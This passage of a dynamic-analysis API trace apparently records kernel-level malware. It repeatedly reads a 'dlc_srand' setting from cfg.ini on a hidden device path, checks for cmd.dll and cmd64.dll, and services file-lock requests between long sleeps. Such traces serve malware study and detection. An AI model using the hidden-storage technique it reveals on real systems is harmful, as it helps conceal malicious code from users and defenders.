(FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc5070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.866] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.866] KeLeaveCriticalRegion () [0121.866] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.866] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.866] KeEnterCriticalRegion () [0121.866] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.866] ExFreePoolWithTag (P=0xfffffa8003bbd6a0, Tag=0x0) [0121.866] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.866] KeLeaveCriticalRegion () [0121.866] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.866] ReleaseMutex (hMutex=0xf0) returned 1 [0121.866] Sleep (dwMilliseconds=0x124f80) [0121.886] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.886] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0121.886] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.886] KeEnterCriticalRegion () [0121.886] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.886] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.886] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0121.886] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.886] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0121.886] IdePortDispatch () returned 0x103 [0121.886] KeWaitForMutexObject () returned 0x0 [0121.886] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.886] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.886] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.886] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.886] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.886] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc50b0 [0121.886] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.886] KeLeaveCriticalRegion () [0121.886] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.886] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.886] KeEnterCriticalRegion () [0121.886] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.886] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0121.886] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.886] KeLeaveCriticalRegion () [0121.886] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.886] KeEnterCriticalRegion () [0121.886] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.886] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.886] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0121.886] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.886] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0121.886] IdePortDispatch () returned 0x103 [0121.887] KeWaitForMutexObject () returned 0x0 [0121.887] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.887] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.887] KeLeaveCriticalRegion () [0121.887] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.887] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.887] KeEnterCriticalRegion () [0121.887] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.887] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bec000 [0121.887] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.887] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0121.887] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.887] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0121.887] IdePortDispatch () returned 0x103 [0121.887] KeWaitForMutexObject () returned 0x0 [0121.887] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.887] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.887] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0121.887] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.887] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0121.887] IdePortDispatch () returned 0x103 [0121.887] KeWaitForMutexObject () returned 0x0 [0121.888] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.888] KeLeaveCriticalRegion () [0121.888] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.888] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.888] KeEnterCriticalRegion () [0121.888] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.888] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0121.888] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.888] KeLeaveCriticalRegion () [0121.888] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.888] KeEnterCriticalRegion () [0121.888] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.888] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0121.888] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be29c0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.888] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.888] KeLeaveCriticalRegion () [0121.888] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.888] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.888] KeEnterCriticalRegion () [0121.888] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.888] ExFreePoolWithTag (P=0xfffffa8003bc50b0, Tag=0x0) [0121.888] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.889] KeLeaveCriticalRegion () [0121.889] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.889] ReleaseMutex (hMutex=0xf0) returned 1 [0121.889] Sleep (dwMilliseconds=0x124f80) [0121.905] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.906] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0121.906] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.906] KeEnterCriticalRegion () [0121.906] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.906] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.906] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0121.906] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.906] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0121.906] IdePortDispatch () returned 0x103 [0121.906] KeWaitForMutexObject () returned 0x0 [0121.906] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.906] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.906] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.906] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.906] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.906] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bd6a00 [0121.906] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.906] KeLeaveCriticalRegion () [0121.906] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.906] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.906] KeEnterCriticalRegion () [0121.906] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.906] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0121.906] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.906] KeLeaveCriticalRegion () [0121.906] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.906] KeEnterCriticalRegion () [0121.906] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.906] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.906] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0121.906] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.906] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0121.906] IdePortDispatch () returned 0x103 [0121.907] KeWaitForMutexObject () returned 0x0 [0121.907] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.907] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.907] KeLeaveCriticalRegion () [0121.907] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.907] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.907] KeEnterCriticalRegion () [0121.907] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.907] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bf1000 [0121.907] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.907] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0121.907] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.907] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0121.907] IdePortDispatch () returned 0x103 [0121.907] KeWaitForMutexObject () returned 0x0 [0121.907] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.907] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.907] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0121.907] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.907] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0121.907] IdePortDispatch () returned 0x103 [0121.907] KeWaitForMutexObject () returned 0x0 [0121.909] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.909] KeLeaveCriticalRegion () [0121.909] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.910] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.910] KeEnterCriticalRegion () [0121.910] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.910] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0121.910] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.910] KeLeaveCriticalRegion () [0121.910] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.910] KeEnterCriticalRegion () [0121.910] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.910] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0121.910] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bd6630, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.910] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.910] KeLeaveCriticalRegion () [0121.910] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.910] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.910] KeEnterCriticalRegion () [0121.910] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.910] ExFreePoolWithTag (P=0xfffffa8003bd6a00, Tag=0x0) [0121.910] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.910] KeLeaveCriticalRegion () [0121.910] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.910] ReleaseMutex (hMutex=0xf0) returned 1 [0121.910] Sleep (dwMilliseconds=0x124f80) [0121.925] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.925] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0121.925] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.925] KeEnterCriticalRegion () [0121.925] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.925] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.925] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0121.925] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.925] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0121.925] IdePortDispatch () returned 0x103 [0121.926] KeWaitForMutexObject () returned 0x0 [0121.926] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.926] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.926] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.926] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.926] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.926] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc9fb0 [0121.926] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.926] KeLeaveCriticalRegion () [0121.926] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.926] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.926] KeEnterCriticalRegion () [0121.926] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.926] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0121.926] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.926] KeLeaveCriticalRegion () [0121.926] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.926] KeEnterCriticalRegion () [0121.926] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.926] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.926] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0121.926] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.926] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0121.926] IdePortDispatch () returned 0x103 [0121.927] KeWaitForMutexObject () returned 0x0 [0121.927] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.927] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.927] KeLeaveCriticalRegion () [0121.927] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.927] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.927] KeEnterCriticalRegion () [0121.927] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.927] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bf6000 [0121.927] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.927] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0121.927] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.927] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0121.927] IdePortDispatch () returned 0x103 [0121.927] KeWaitForMutexObject () returned 0x0 [0121.927] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.927] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.928] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0121.928] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.928] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0121.928] IdePortDispatch () returned 0x103 [0121.928] KeWaitForMutexObject () returned 0x0 [0121.928] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.928] KeLeaveCriticalRegion () [0121.928] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.928] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.929] KeEnterCriticalRegion () [0121.929] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.929] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0121.929] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.929] KeLeaveCriticalRegion () [0121.929] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.929] KeEnterCriticalRegion () [0121.929] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.929] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0121.929] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc6570, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.929] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.929] KeLeaveCriticalRegion () [0121.929] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.929] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.929] KeEnterCriticalRegion () [0121.929] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.929] ExFreePoolWithTag (P=0xfffffa8003bc9fb0, Tag=0x0) [0121.929] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.929] KeLeaveCriticalRegion () [0121.929] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.929] ReleaseMutex (hMutex=0xf0) returned 1 [0121.929] Sleep (dwMilliseconds=0x124f80) [0121.944] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.944] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0121.944] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.944] KeEnterCriticalRegion () [0121.944] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.944] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.944] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0121.944] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.944] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0121.944] IdePortDispatch () returned 0x103 [0121.944] KeWaitForMutexObject () returned 0x0 [0121.945] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.945] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.945] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.945] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.945] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, 